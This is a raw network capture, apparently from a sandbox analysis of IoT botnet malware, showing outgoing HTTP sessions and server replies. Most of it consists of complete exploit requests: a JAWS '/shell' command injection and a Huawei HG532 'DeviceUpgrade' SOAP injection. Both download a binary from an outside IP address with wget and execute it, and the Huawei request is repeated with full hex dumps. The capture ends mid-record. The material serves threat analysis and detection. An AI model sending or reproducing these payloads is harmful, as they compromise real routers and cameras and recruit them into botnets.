Mar 13, 2024 09:35:53.451821089 CET	761	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 65 78 74 2d 63 65 6e 74 65 72 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 1em; } .text-centered { text-align: center; } .text-container { margin: 1em 1.5em; } .flex-container {

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.15	39066	185.249.70.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.308918953 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.465029955 CET	481	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:53 GMT Server: Apache Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 62 75 64 6f 63 6b 76 65 61 6e 2d 77 65 62 30 31 2e 6d 79 68 79 76 65 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at budockvean-web01.myhyve.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.15	58836	45.120.4.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.311624050 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.470727921 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.15	57906	13.39.26.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.313146114 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.15	49460	195.15.235.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.323163033 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.493706942 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Wed, 13 Mar 2024 08:35:53 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.15	38884	156.254.90.169	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.367182970 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:54.966640949 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:35:56.854518890 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:00.662488937 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:08.342134953 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:23.445879936 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml 